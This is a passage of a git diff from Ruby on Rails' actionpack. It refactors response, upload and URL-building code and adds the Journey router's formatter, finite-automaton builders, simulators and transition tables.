# Returns the response cookies, converted to a Hash of (name => value) pairs
#
@@ -242,6 +317,12 @@ module ActionDispatch # :nodoc:
private
+ def before_committed
+ end
+
+ def before_sending
+ end
+
def merge_default_headers(original, default)
return original unless default.respond_to?(:merge)
@@ -260,25 +341,65 @@ module ActionDispatch # :nodoc:
return if headers[CONTENT_TYPE].present?
@content_type ||= Mime::HTML
- @charset ||= self.class.default_charset
+ @charset ||= self.class.default_charset unless @charset == false
type = @content_type.to_s.dup
- type << "; charset=#{@charset}" unless @sending_file
+ type << "; charset=#{@charset}" if append_charset?
headers[CONTENT_TYPE] = type
end
+ def append_charset?
+ !@sending_file && @charset != false
+ end
+
+ class RackBody
+ def initialize(response)
+ @response = response
+ end
+
+ def each(*args, &block)
+ @response.each(*args, &block)
+ end
+
+ def close
+ # Rack "close" maps to Response#abort, and *not* Response#close
+ # (which is used when the controller's finished writing)
+ @response.abort
+ end
+
+ def body
+ @response.body
+ end
+
+ def respond_to?(method, include_private = false)
+ if method.to_s == 'to_path'
+ @response.stream.respond_to?(method)
+ else
+ super
+ end
+ end
+
+ def to_path
+ @response.stream.to_path
+ end
+
+ def to_ary
+ nil
+ end
+ end
+
def rack_response(status, header)
assign_default_content_type_and_charset!(header)
handle_conditional_get!
header[SET_COOKIE] = header[SET_COOKIE].join("\n") if header[SET_COOKIE].respond_to?(:join)
- if [204, 304].include?(@status)
+ if NO_CONTENT_CODES.include?(@status)
header.delete CONTENT_TYPE
[status, header, []]
else
- [status, header, self]
+ [status, header, RackBody.new(self)]
end
end
end
diff --git a/actionpack/lib/action_dispatch/http/upload.rb b/actionpack/lib/action_dispatch/http/upload.rb
index 79437d6e85..540e11a4a0 100644
--- a/actionpack/lib/action_dispatch/http/upload.rb
+++ b/actionpack/lib/action_dispatch/http/upload.rb
@@ -6,7 +6,7 @@ module ActionDispatch
# of its interface is available directly for convenience.
#
# Uploaded files are temporary files whose lifespan is one request. When
- # the object is finalized Ruby unlinks the file, so there is not need to
+ # the object is finalized Ruby unlinks the file, so there is no need to
# clean them with a separate maintenance task.
class UploadedFile
# The basename of the file in the client.
@@ -18,15 +18,17 @@ module ActionDispatch
# A +Tempfile+ object with the actual uploaded file. Note that some of
# its interface is available directly.
attr_accessor :tempfile
+ alias :to_io :tempfile
- # TODO.
+ # A string with the headers of the multipart request.
attr_accessor :headers
def initialize(hash) # :nodoc:
@tempfile = hash[:tempfile]
raise(ArgumentError, ':tempfile is required') unless @tempfile
- @original_filename = encode_filename(hash[:filename])
+ @original_filename = hash[:filename]
+ @original_filename &&= @original_filename.encode "UTF-8"
@content_type = hash[:type]
@headers = hash[:head]
end
@@ -65,26 +67,6 @@ module ActionDispatch
def eof?
@tempfile.eof?
end
-
- private
-
- def encode_filename(filename)
- # Encode the filename in the utf8 encoding, unless it is nil
- filename.force_encoding("UTF-8").encode! if filename
- end
- end
-
- module Upload # :nodoc:
- # Convert nested Hash to HashWithIndifferentAccess and replace
- # file upload hash with UploadedFile objects
- def normalize_parameters(value)
- if Hash === value && value.has_key?(:tempfile)
- UploadedFile.new(value)
- else
- super
- end
- end
- private :normalize_parameters
end
end
end
diff --git a/actionpack/lib/action_dispatch/http/url.rb b/actionpack/lib/action_dispatch/http/url.rb
index bced7d84c0..22c0de2ac2 100644
--- a/actionpack/lib/action_dispatch/http/url.rb
+++ b/actionpack/lib/action_dispatch/http/url.rb
@@ -1,90 +1,169 @@
+require 'active_support/core_ext/module/attribute_accessors'
+require 'active_support/core_ext/hash/slice'
+
module ActionDispatch
module Http
module URL
- IP_HOST_REGEXP = /\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/
+ IP_HOST_REGEXP = /\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/
+ HOST_REGEXP = /(^[^:]+:\/\/)?([^:]+)(?::(\d+$))?/
+ PROTOCOL_REGEXP = /^([^:]+)(:)?(\/\/)?$/
mattr_accessor :tld_length
self.tld_length = 1
class << self
- def extract_domain(host, tld_length = @@tld_length)
- host.split('.').last(1 + tld_length).join('.') if named_host?(host)
+ def extract_domain(host, tld_length)
+ extract_domain_from(host, tld_length) if named_host?(host)
end
- def extract_subdomains(host, tld_length = @@tld_length)
+ def extract_subdomains(host, tld_length)
if named_host?(host)
- parts = host.split('.')
- parts[0..-(tld_length + 2)]
+ extract_subdomains_from(host, tld_length)
else
[]
end
end
- def extract_subdomain(host, tld_length = @@tld_length)
+ def extract_subdomain(host, tld_length)
extract_subdomains(host, tld_length).join('.')
end
- def url_for(options = {})
- path = options.delete(:script_name).to_s.chomp("/")
- path << options.delete(:path).to_s
+ def url_for(options)
+ if options[:only_path]
+ path_for options
+ else
+ full_url_for options
+ end
+ end
- params = options[:params].is_a?(Hash) ? options[:params] : options.slice(:params)
- params.reject! { |_,v| v.to_param.nil? }
+ def full_url_for(options)
+ host = options[:host]
+ protocol = options[:protocol]
+ port = options[:port]
- result = build_host_url(options)
- result << (options[:trailing_slash] ? path.sub(/\?|\z/) { "/" + $& } : path)
- result << "?#{params.to_query}" unless params.empty?
- result << "##{Journey::Router::Utils.escape_fragment(options[:anchor].to_param.to_s)}" if options[:anchor]
- result
+ unless host
+ raise ArgumentError, 'Missing host to link to! Please provide the :host parameter, set default_url_options[:host], or set :only_path to true'
+ end
+
+ build_host_url(host, port, protocol, options, path_for(options))
+ end
+
+ def path_for(options)
+ path = options[:script_name].to_s.chomp("/")
+ path << options[:path] if options.key?(:path)
+
+ add_trailing_slash(path) if options[:trailing_slash]
+ add_params(path, options[:params]) if options.key?(:params)
+ add_anchor(path, options[:anchor]) if options.key?(:anchor)
+
+ path
end
private
- def build_host_url(options)
- if options[:host].blank? && options[:only_path].blank?
- raise ArgumentError, 'Missing host to link to! Please provide the :host parameter, set default_url_options[:host], or set :only_path to true'
+ def add_params(path, params)
+ params = { params: params } unless params.is_a?(Hash)
+ params.reject! { |_,v| v.to_param.nil? }
+ path << "?#{params.to_query}" unless params.empty?
+ end
+
+ def add_anchor(path, anchor)
+ if anchor
+ path << "##{Journey::Router::Utils.escape_fragment(anchor.to_param)}"
+ end
+ end
+
+ def extract_domain_from(host, tld_length)
+ host.split('.').last(1 + tld_length).join('.')
+ end
+
+ def extract_subdomains_from(host, tld_length)
+ parts = host.split('.')
+ parts[0..-(tld_length + 2)]
+ end
+
+ def add_trailing_slash(path)
+ # includes querysting
+ if path.include?('?')
+ path.sub!(/\?/, '/\&')
+ # does not have a .format
+ elsif !path.include?(".")
+ path.sub!(/[^\/]\z|\A\z/, '\&/')
+ end
+ end
+
+ def build_host_url(host, port, protocol, options, path)
+ if match = host.match(HOST_REGEXP)
+ protocol ||= match[1] unless protocol == false
+ host = match[2]
+ port = match[3] unless options.key? :port
end
- result = ""
-
- unless options[:only_path]
- unless options[:protocol] == false
- result << (options[:protocol] || "http")
- result << ":" unless result.match(%r{:|//})
- end
- result << "//" unless result.match("//")
- result << rewrite_authentication(options)
- result << host_or_subdomain_and_domain(options)
- result << ":#{options.delete(:port)}" if options[:port]
+ protocol = normalize_protocol protocol
+ host = normalize_host(host, options)
+
+ result = protocol.dup
+
+ if options[:user] && options[:password]
+ result << "#{Rack::Utils.escape(options[:user])}:#{Rack::Utils.escape(options[:password])}@"
end
- result
+
+ result << host
+ normalize_port(port, protocol) { |normalized_port|
+ result << ":#{normalized_port}"
+ }
+
+ result.concat path
end
def named_host?(host)
- host && IP_HOST_REGEXP !~ host
+ IP_HOST_REGEXP !~ host
end
- def rewrite_authentication(options)
- if options[:user] && options[:password]
- "#{Rack::Utils.escape(options[:user])}:#{Rack::Utils.escape(options[:password])}@"
+ def normalize_protocol(protocol)
+ case protocol
+ when nil
+ "http://"
+ when false, "//"
+ "//"
+ when PROTOCOL_REGEXP
+ "#{$1}://"
else
- ""
+ raise ArgumentError, "Invalid :protocol option: #{protocol.inspect}"
end
end
- def host_or_subdomain_and_domain(options)
- return options[:host] if !named_host?(options[:host]) || (options[:subdomain].nil? && options[:domain].nil?)
+ def normalize_host(_host, options)
+ return _host unless named_host?(_host)
tld_length = options[:tld_length] || @@tld_length
+ subdomain = options.fetch :subdomain, true
+ domain = options[:domain]
host = ""
- unless options[:subdomain] == false
- host << (options[:subdomain] || extract_subdomain(options[:host], tld_length)).to_param
- host << "."
+ if subdomain == true
+ return _host if domain.nil?
+
+ host << extract_subdomains_from(_host, tld_length).join('.')
+ elsif subdomain
+ host << subdomain.to_param
end
- host << (options[:domain] || extract_domain(options[:host], tld_length))
+ host << "." unless host.empty?
+ host << (domain || extract_domain_from(_host, tld_length))
host
end
+
+ def normalize_port(port, protocol)
+ return unless port
+
+ case protocol
+ when "//" then yield port
+ when "https://"
+ yield port unless port.to_i == 443
+ else
+ yield port unless port.to_i == 80
+ end
+ end
end
def initialize(env)
diff --git a/actionpack/lib/action_dispatch/journey.rb b/actionpack/lib/action_dispatch/journey.rb
new file mode 100644
index 0000000000..ad42713482
--- /dev/null
+++ b/actionpack/lib/action_dispatch/journey.rb
@@ -0,0 +1,5 @@
+require 'action_dispatch/journey/router'
+require 'action_dispatch/journey/gtg/builder'
+require 'action_dispatch/journey/gtg/simulator'
+require 'action_dispatch/journey/nfa/builder'
+require 'action_dispatch/journey/nfa/simulator'
diff --git a/actionpack/lib/action_dispatch/journey/backwards.rb b/actionpack/lib/action_dispatch/journey/backwards.rb
new file mode 100644
index 0000000000..3bd20fdf81
--- /dev/null
+++ b/actionpack/lib/action_dispatch/journey/backwards.rb
@@ -0,0 +1,5 @@
+module Rack # :nodoc:
+ Mount = ActionDispatch::Journey::Router
+ Mount::RouteSet = ActionDispatch::Journey::Router
+ Mount::RegexpWithNamedGroups = ActionDispatch::Journey::Path::Pattern
+end
diff --git a/actionpack/lib/action_dispatch/journey/formatter.rb b/actionpack/lib/action_dispatch/journey/formatter.rb
new file mode 100644
index 0000000000..177f586c0e
--- /dev/null
+++ b/actionpack/lib/action_dispatch/journey/formatter.rb
@@ -0,0 +1,166 @@
+require 'action_controller/metal/exceptions'
+require 'active_support/deprecation'
+
+module ActionDispatch
+ module Journey
+ # The Formatter class is used for formatting URLs. For example, parameters
+ # passed to +url_for+ in Rails will eventually call Formatter#generate.
+ class Formatter # :nodoc:
+ attr_reader :routes
+
+ def initialize(routes)
+ @routes = routes
+ @cache = nil
+ end
+
+ def generate(name, options, path_parameters, parameterize = nil)
+ constraints = path_parameters.merge(options)
+ missing_keys = []
+
+ match_route(name, constraints) do |route|
+ parameterized_parts = extract_parameterized_parts(route, options, path_parameters, parameterize)
+
+ # Skip this route unless a name has been provided or it is a
+ # standard Rails route since we can't determine whether an options
+ # hash passed to url_for matches a Rack application or a redirect.
+ next unless name || route.dispatcher?
+
+ missing_keys = missing_keys(route, parameterized_parts)
+ next unless missing_keys.empty?
+ params = options.dup.delete_if do |key, _|
+ parameterized_parts.key?(key) || route.defaults.key?(key)
+ end
+
+ defaults = route.defaults
+ required_parts = route.required_parts
+ parameterized_parts.delete_if do |key, value|
+ value.to_s == defaults[key].to_s && !required_parts.include?(key)
+ end
+
+ return [route.format(parameterized_parts), params]
+ end
+
+ message = "No route matches #{Hash[constraints.sort].inspect}"
+ message << " missing required keys: #{missing_keys.sort.inspect}" unless missing_keys.empty?
+
+ raise ActionController::UrlGenerationError, message
+ end
+
+ def clear
+ @cache = nil
+ end
+
+ private
+
+ def extract_parameterized_parts(route, options, recall, parameterize = nil)
+ parameterized_parts = recall.merge(options)
+
+ keys_to_keep = route.parts.reverse.drop_while { |part|
+ !options.key?(part) || (options[part] || recall[part]).nil?
+ } | route.required_parts
+
+ (parameterized_parts.keys - keys_to_keep).each do |bad_key|
+ parameterized_parts.delete(bad_key)
+ end
+
+ if parameterize
+ parameterized_parts.each do |k, v|
+ parameterized_parts[k] = parameterize.call(k, v)
+ end
+ end
+
+ parameterized_parts.keep_if { |_, v| v }
+ parameterized_parts
+ end
+
+ def named_routes
+ routes.named_routes
+ end
+
+ def match_route(name, options)
+ if named_routes.key?(name)
+ yield named_routes[name]
+ else
+ # Make sure we don't show the deprecation warning more than once
+ warned = false
+
+ routes = non_recursive(cache, options)
+
+ hash = routes.group_by { |_, r| r.score(options) }
+
+ hash.keys.sort.reverse_each do |score|
+ break if score < 0
+
+ hash[score].sort_by { |i, _| i }.each do |_, route|
+ if name && !warned
+ ActiveSupport::Deprecation.warn <<-MSG.squish
+ You are trying to generate the URL for a named route called
+ #{name.inspect} but no such route was found. In the future,
+ this will result in an `ActionController::UrlGenerationError`
+ exception.
+ MSG
+
+ warned = true
+ end
+
+ yield route
+ end
+ end
+ end
+ end
+
+ def non_recursive(cache, options)
+ routes = []
+ queue = [cache]
+
+ while queue.any?
+ c = queue.shift
+ routes.concat(c[:___routes]) if c.key?(:___routes)
+
+ options.each do |pair|
+ queue << c[pair] if c.key?(pair)
+ end
+ end
+
+ routes
+ end
+
+ # Returns an array populated with missing keys if any are present.
+ def missing_keys(route, parts)
+ missing_keys = []
+ tests = route.path.requirements
+ route.required_parts.each { |key|
+ if tests.key?(key)
+ missing_keys << key unless /\A#{tests[key]}\Z/ === parts[key]
+ else
+ missing_keys << key unless parts[key]
+ end
+ }
+ missing_keys
+ end
+
+ def possibles(cache, options, depth = 0)
+ cache.fetch(:___routes) { [] } + options.find_all { |pair|
+ cache.key?(pair)
+ }.flat_map { |pair|
+ possibles(cache[pair], options, depth + 1)
+ }
+ end
+
+ def build_cache
+ root = { ___routes: [] }
+ routes.each_with_index do |route, i|
+ leaf = route.required_defaults.inject(root) do |h, tuple|
+ h[tuple] ||= {}
+ end
+ (leaf[:___routes] ||= []) << [i, route]
+ end
+ root
+ end
+
+ def cache
+ @cache ||= build_cache
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_dispatch/journey/gtg/builder.rb b/actionpack/lib/action_dispatch/journey/gtg/builder.rb
new file mode 100644
index 0000000000..450588cda6
--- /dev/null
+++ b/actionpack/lib/action_dispatch/journey/gtg/builder.rb
@@ -0,0 +1,162 @@
+require 'action_dispatch/journey/gtg/transition_table'
+
+module ActionDispatch
+ module Journey # :nodoc:
+ module GTG # :nodoc:
+ class Builder # :nodoc:
+ DUMMY = Nodes::Dummy.new
+
+ attr_reader :root, :ast, :endpoints
+
+ def initialize(root)
+ @root = root
+ @ast = Nodes::Cat.new root, DUMMY
+ @followpos = nil
+ end
+
+ def transition_table
+ dtrans = TransitionTable.new
+ marked = {}
+ state_id = Hash.new { |h,k| h[k] = h.length }
+
+ start = firstpos(root)
+ dstates = [start]
+ until dstates.empty?
+ s = dstates.shift
+ next if marked[s]
+ marked[s] = true # mark s
+
+ s.group_by { |state| symbol(state) }.each do |sym, ps|
+ u = ps.flat_map { |l| followpos(l) }
+ next if u.empty?
+
+ if u.uniq == [DUMMY]
+ from = state_id[s]
+ to = state_id[Object.new]
+ dtrans[from, to] = sym
+
+ dtrans.add_accepting(to)
+ ps.each { |state| dtrans.add_memo(to, state.memo) }
+ else
+ dtrans[state_id[s], state_id[u]] = sym
+
+ if u.include?(DUMMY)
+ to = state_id[u]
+
+ accepting = ps.find_all { |l| followpos(l).include?(DUMMY) }
+
+ accepting.each { |accepting_state|
+ dtrans.add_memo(to, accepting_state.memo)
+ }
+
+ dtrans.add_accepting(state_id[u])
+ end
+ end
+
+ dstates << u
+ end
+ end
+
+ dtrans
+ end
+
+ def nullable?(node)
+ case node
+ when Nodes::Group
+ true
+ when Nodes::Star
+ true
+ when Nodes::Or
+ node.children.any? { |c| nullable?(c) }
+ when Nodes::Cat
+ nullable?(node.left) && nullable?(node.right)
+ when Nodes::Terminal
+ !node.left
+ when Nodes::Unary
+ nullable?(node.left)
+ else
+ raise ArgumentError, 'unknown nullable: %s' % node.class.name
+ end
+ end
+
+ def firstpos(node)
+ case node
+ when Nodes::Star
+ firstpos(node.left)
+ when Nodes::Cat
+ if nullable?(node.left)
+ firstpos(node.left) | firstpos(node.right)
+ else
+ firstpos(node.left)
+ end
+ when Nodes::Or
+ node.children.flat_map { |c| firstpos(c) }.uniq
+ when Nodes::Unary
+ firstpos(node.left)
+ when Nodes::Terminal
+ nullable?(node) ? [] : [node]
+ else
+ raise ArgumentError, 'unknown firstpos: %s' % node.class.name
+ end
+ end
+
+ def lastpos(node)
+ case node
+ when Nodes::Star
+ firstpos(node.left)
+ when Nodes::Or
+ node.children.flat_map { |c| lastpos(c) }.uniq
+ when Nodes::Cat
+ if nullable?(node.right)
+ lastpos(node.left) | lastpos(node.right)
+ else
+ lastpos(node.right)
+ end
+ when Nodes::Terminal
+ nullable?(node) ? [] : [node]
+ when Nodes::Unary
+ lastpos(node.left)
+ else
+ raise ArgumentError, 'unknown lastpos: %s' % node.class.name
+ end
+ end
+
+ def followpos(node)
+ followpos_table[node]
+ end
+
+ private
+
+ def followpos_table
+ @followpos ||= build_followpos
+ end
+
+ def build_followpos
+ table = Hash.new { |h, k| h[k] = [] }
+ @ast.each do |n|
+ case n
+ when Nodes::Cat
+ lastpos(n.left).each do |i|
+ table[i] += firstpos(n.right)
+ end
+ when Nodes::Star
+ lastpos(n).each do |i|
+ table[i] += firstpos(n)
+ end
+ end
+ end
+ table
+ end
+
+ def symbol(edge)
+ case edge
+ when Journey::Nodes::Symbol
+ edge.regexp
+ else
+ edge.left
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_dispatch/journey/gtg/simulator.rb b/actionpack/lib/action_dispatch/journey/gtg/simulator.rb
new file mode 100644
index 0000000000..94b0a24344
--- /dev/null
+++ b/actionpack/lib/action_dispatch/journey/gtg/simulator.rb
@@ -0,0 +1,47 @@
+require 'strscan'
+
+module ActionDispatch
+ module Journey # :nodoc:
+ module GTG # :nodoc:
+ class MatchData # :nodoc:
+ attr_reader :memos
+
+ def initialize(memos)
+ @memos = memos
+ end
+ end
+
+ class Simulator # :nodoc:
+ attr_reader :tt
+
+ def initialize(transition_table)
+ @tt = transition_table
+ end
+
+ def simulate(string)
+ ms = memos(string) { return }
+ MatchData.new(ms)
+ end
+
+ alias :=~ :simulate
+ alias :match :simulate
+
+ def memos(string)
+ input = StringScanner.new(string)
+ state = [0]
+ while sym = input.scan(%r([/.?]|[^/.?]+))
+ state = tt.move(state, sym)
+ end
+
+ acceptance_states = state.find_all { |s|
+ tt.accepting? s
+ }
+
+ return yield if acceptance_states.empty?
+
+ acceptance_states.flat_map { |x| tt.memo(x) }.compact
+ end
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_dispatch/journey/gtg/transition_table.rb b/actionpack/lib/action_dispatch/journey/gtg/transition_table.rb
new file mode 100644
index 0000000000..1b914f0637
--- /dev/null
+++ b/actionpack/lib/action_dispatch/journey/gtg/transition_table.rb
@@ -0,0 +1,157 @@
+require 'action_dispatch/journey/nfa/dot'
+
+module ActionDispatch
+ module Journey # :nodoc:
+ module GTG # :nodoc:
+ class TransitionTable # :nodoc:
+ include Journey::NFA::Dot
+
+ attr_reader :memos
+
+ def initialize
+ @regexp_states = {}
+ @string_states = {}
+ @accepting = {}
+ @memos = Hash.new { |h,k| h[k] = [] }
+ end
+
+ def add_accepting(state)
+ @accepting[state] = true
+ end
+
+ def accepting_states
+ @accepting.keys
+ end
+
+ def accepting?(state)
+ @accepting[state]
+ end
+
+ def add_memo(idx, memo)
+ @memos[idx] << memo
+ end
+
+ def memo(idx)
+ @memos[idx]
+ end
+
+ def eclosure(t)
+ Array(t)
+ end
+
+ def move(t, a)
+ return [] if t.empty?
+
+ regexps = []
+
+ t.map { |s|
+ if states = @regexp_states[s]
+ regexps.concat states.map { |re, v| re === a ? v : nil }
+ end
+
+ if states = @string_states[s]
+ states[a]
+ end
+ }.compact.concat regexps
+ end
+
+ def as_json(options = nil)
+ simple_regexp = Hash.new { |h,k| h[k] = {} }
+
+ @regexp_states.each do |from, hash|
+ hash.each do |re, to|
+ simple_regexp[from][re.source] = to
+ end
+ end
+
+ {
+ regexp_states: simple_regexp,
+ string_states: @string_states,
+ accepting: @accepting
+ }
+ end
+
+ def to_svg
+ svg = IO.popen('dot -Tsvg', 'w+') { |f|
+ f.write(to_dot)
+ f.close_write
+ f.readlines
+ }
+ 3.times { svg.shift }
+ svg.join.sub(/width="[^"]*"/, '').sub(/height="[^"]*"/, '')
+ end
+
+ def visualizer(paths, title = 'FSM')
+ viz_dir = File.join File.dirname(__FILE__), '..', 'visualizer'
+ fsm_js = File.read File.join(viz_dir, 'fsm.js')
+ fsm_css = File.read File.join(viz_dir, 'fsm.css')
+ erb = File.read File.join(viz_dir, 'index.html.erb')
+ states = "function tt() { return #{to_json}; }"
+
+ fun_routes = paths.sample(3).map do |ast|
+ ast.map { |n|
+ case n
+ when Nodes::Symbol
+ case n.left
+ when ':id' then rand(100).to_s
+ when ':format' then %w{ xml json }.sample
+ else
+ 'omg'
+ end
+ when Nodes::Terminal then n.symbol
+ else
+ nil
+ end
+ }.compact.join
+ end
+
+ stylesheets = [fsm_css]
+ svg = to_svg
+ javascripts = [states, fsm_js]
+
+ # Annoying hack for 1.9 warnings
+ fun_routes = fun_routes
+ stylesheets = stylesheets
+ svg = svg
+ javascripts = javascripts
+
+ require 'erb'
+ template = ERB.new erb
+ template.result(binding)
+ end
+
+ def []=(from, to, sym)
+ to_mappings = states_hash_for(sym)[from] ||= {}
+ to_mappings[sym] = to
+ end
+
+ def states
+ ss = @string_states.keys + @string_states.values.flat_map(&:values)
+ rs = @regexp_states.keys + @regexp_states.values.flat_map(&:values)
+ (ss + rs).uniq
+ end
+
+ def transitions
+ @string_states.flat_map { |from, hash|
+ hash.map { |s, to| [from, s, to] }
+ } + @regexp_states.flat_map { |from, hash|
+ hash.map { |s, to| [from, s, to] }
+ }
+ end
+
+ private
+
+ def states_hash_for(sym)
+ case sym
+ when String
+ @string_states
+ when Regexp
+ @regexp_states
+ else
+ raise ArgumentError, 'unknown symbol: %s' % sym.class
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_dispatch/journey/nfa/builder.rb b/actionpack/lib/action_dispatch/journey/nfa/builder.rb
new file mode 100644
index 0000000000..ee6494c3e4
--- /dev/null
+++ b/actionpack/lib/action_dispatch/journey/nfa/builder.rb
@@ -0,0 +1,76 @@
+require 'action_dispatch/journey/nfa/transition_table'
+require 'action_dispatch/journey/gtg/transition_table'
+
+module ActionDispatch
+ module Journey # :nodoc:
+ module NFA # :nodoc:
+ class Visitor < Visitors::Visitor # :nodoc:
+ def initialize(tt)
+ @tt = tt
+ @i = -1
+ end
+
+ def visit_CAT(node)
+ left = visit(node.left)
+ right = visit(node.right)
+
+ @tt.merge(left.last, right.first)
+
+ [left.first, right.last]
+ end
+
+ def visit_GROUP(node)
+ from = @i += 1
+ left = visit(node.left)
+ to = @i += 1
+
+ @tt.accepting = to
+
+ @tt[from, left.first] = nil
+ @tt[left.last, to] = nil
+ @tt[from, to] = nil
+
+ [from, to]
+ end
+
+ def visit_OR(node)
+ from = @i += 1
+ children = node.children.map { |c| visit(c) }
+ to = @i += 1
+
+ children.each do |child|
+ @tt[from, child.first] = nil
+ @tt[child.last, to] = nil
+ end
+
+ @tt.accepting = to
+
+ [from, to]
+ end
+
+ def terminal(node)
+ from_i = @i += 1 # new state
+ to_i = @i += 1 # new state
+
+ @tt[from_i, to_i] = node
+ @tt.accepting = to_i
+ @tt.add_memo(to_i, node.memo)
+
+ [from_i, to_i]
+ end
+ end
+
+ class Builder # :nodoc:
+ def initialize(ast)
+ @ast = ast
+ end
+
+ def transition_table
+ tt = TransitionTable.new
+ Visitor.new(tt).accept(@ast)
+ tt
+ end
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_dispatch/journey/nfa/dot.rb b/actionpack/lib/action_dispatch/journey/nfa/dot.rb
new file mode 100644
index 0000000000..47bf76bdbf
--- /dev/null
+++ b/actionpack/lib/action_dispatch/journey/nfa/dot.rb
@@ -0,0 +1,36 @@
+# encoding: utf-8
+
+module ActionDispatch
+ module Journey # :nodoc:
+ module NFA # :nodoc:
+ module Dot # :nodoc:
+ def to_dot
+ edges = transitions.map { |from, sym, to|
+ " #{from} -> #{to} [label=\"#{sym || 'ε'}\"];"
+ }
+
+ #memo_nodes = memos.values.flatten.map { |n|
+ # label = n
+ # if Journey::Route === n
+ # label = "#{n.verb.source} #{n.path.spec}"
+ # end
+ # " #{n.object_id} [label=\"#{label}\", shape=box];"
+ #}
+ #memo_edges = memos.flat_map { |k, memos|
+ # (memos || []).map { |v| " #{k} -> #{v.object_id};" }
+ #}.uniq
+
+ <<-eodot
+digraph nfa {
+ rankdir=LR;
+ node [shape = doublecircle];
+ #{accepting_states.join ' '};
+ node [shape = circle];
+#{edges.join "\n"}
+}
+ eodot
+ end
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_dispatch/journey/nfa/simulator.rb b/actionpack/lib/action_dispatch/journey/nfa/simulator.rb
new file mode 100644
index 0000000000..b23270db3c
--- /dev/null
+++ b/actionpack/lib/action_dispatch/journey/nfa/simulator.rb
@@ -0,0 +1,47 @@
+require 'strscan'
+
+module ActionDispatch
+ module Journey # :nodoc:
+ module NFA # :nodoc:
+ class MatchData # :nodoc:
+ attr_reader :memos
+
+ def initialize(memos)
+ @memos = memos
+ end
+ end
+
+ class Simulator # :nodoc:
+ attr_reader :tt
+
+ def initialize(transition_table)
+ @tt = transition_table
+ end
+
+ def simulate(string)
+ input = StringScanner.new(string)
+ state = tt.eclosure(0)
+ until input.eos?
+ sym = input.scan(%r([/.?]|[^/.?]+))
+
+ # FIXME: tt.eclosure is not needed for the GTG
+ state = tt.eclosure(tt.move(state, sym))
+ end
+
+ acceptance_states = state.find_all { |s|
+ tt.accepting?(tt.eclosure(s).sort.last)
+ }
+
+ return if acceptance_states.empty?
+
+ memos = acceptance_states.flat_map { |x| tt.memo(x) }.compact
+
+ MatchData.new(memos)
+ end
+
+ alias :=~ :simulate
+ alias :match :simulate
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_dispatch/journey/nfa/transition_table.rb b/actionpack/lib/action_dispatch/journey/nfa/transition_table.rb
new file mode 100644
index 0000000000..e65f7238ab
--- /dev/null
+++ b/actionpack/lib/action_dispatch/journey/nfa/transition_table.rb
@@ -0,0 +1,163 @@
+require 'action_dispatch/journey/nfa/dot'
+
+module ActionDispatch
+ module Journey # :nodoc:
+ module NFA # :nodoc:
+ class TransitionTable # :nodoc:
+ include Journey::NFA::Dot
+
+ attr_accessor :accepting
+ attr_reader :memos
+
+ def initialize
+ @table = Hash.new { |h,f| h[f] = {} }
+ @memos = {}
+ @accepting = nil
+ @inverted = nil
+ end
+
+ def accepting?(state)
+ accepting == state
+ end
+
+ def accepting_states
+ [accepting]
+ end
+
+ def add_memo(idx, memo)
+ @memos[idx] = memo
+ end
+
+ def memo(idx)
+ @memos[idx]
+ end
+
+ def []=(i, f, s)
+ @table[f][i] = s
+ end
+
+ def merge(left, right)
+ @memos[right] = @memos.delete(left)
+ @table[right] = @table.delete(left)
+ end
+
+ def states
+ (@table.keys + @table.values.flat_map(&:keys)).uniq
+ end
+
+ # Returns a generalized transition graph with reduced states. The states
+ # are reduced like a DFA, but the table must be simulated like an NFA.
+ #
+ # Edges of the GTG are regular expressions.
+ def generalized_table
+ gt = GTG::TransitionTable.new
+ marked = {}
+ state_id = Hash.new { |h,k| h[k] = h.length }
+ alphabet = self.alphabet
+
+ stack = [eclosure(0)]
+
+ until stack.empty?
+ state = stack.pop
+ next if marked[state] || state.empty?
+
+ marked[state] = true
+
+ alphabet.each do |alpha|
+ next_state = eclosure(following_states(state, alpha))
+ next if next_state.empty?
+
+ gt[state_id[state], state_id[next_state]] = alpha
+ stack << next_state
+ end
+ end
+
+ final_groups = state_id.keys.find_all { |s|
+ s.sort.last == accepting
+ }
+
+ final_groups.each do |states|
+ id = state_id[states]
+
+ gt.add_accepting(id)
+ save = states.find { |s|
+ @memos.key?(s) && eclosure(s).sort.last == accepting
+ }
+
+ gt.add_memo(id, memo(save))
+ end
+
+ gt
+ end
+
+ # Returns set of NFA states to which there is a transition on ast symbol
+ # +a+ from some state +s+ in +t+.
+ def following_states(t, a)
+ Array(t).flat_map { |s| inverted[s][a] }.uniq
+ end
+
+ # Returns set of NFA states to which there is a transition on ast symbol
+ # +a+ from some state +s+ in +t+.
+ def move(t, a)
+ Array(t).map { |s|
+ inverted[s].keys.compact.find_all { |sym|
+ sym === a
+ }.map { |sym| inverted[s][sym] }
+ }.flatten.uniq
+ end
+
+ def alphabet
+ inverted.values.flat_map(&:keys).compact.uniq.sort_by(&:to_s)
+ end
+
+ # Returns a set of NFA states reachable from some NFA state +s+ in set
+ # +t+ on nil-transitions alone.
+ def eclosure(t)
+ stack = Array(t)
+ seen = {}
+ children = []
+
+ until stack.empty?
+ s = stack.pop
+ next if seen[s]
+
+ seen[s] = true
+ children << s
+
+ stack.concat(inverted[s][nil])
+ end
+
+ children.uniq
+ end
+
+ def transitions
+ @table.flat_map { |to, hash|
+ hash.map { |from, sym| [from, sym, to] }
+ }
+ end
+
+ private
+
+ def inverted
+ return @inverted if @inverted
+
+ @inverted = Hash.new { |h, from|
+ h[from] = Hash.new { |j, s| j[s] = [] }
+ }
+
+ @table.each { |to, hash|
+ hash.each { |from, sym|
+ if sym
+ sym = Nodes::Symbol === sym ? sym.regexp : sym.left
+ end
+
+ @inverted[from][sym] << to
+ }
+ }
+
+ @inverted
+ end
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/action_dispatch/journey/nodes/node.rb b/actionpack/lib/action_dispatch/journey/nodes/node.rb
new file mode 100644
index 0000000000..bb01c087bc
--- /dev/null
+++ b/actionpack/lib/action_dispatch/journey/nodes/node.rb
@@ -0,0 +1,128 @@
+require 'action_dispatch/journey/visitors'
+
+module ActionDispatch
+ module Journey # :nodoc:
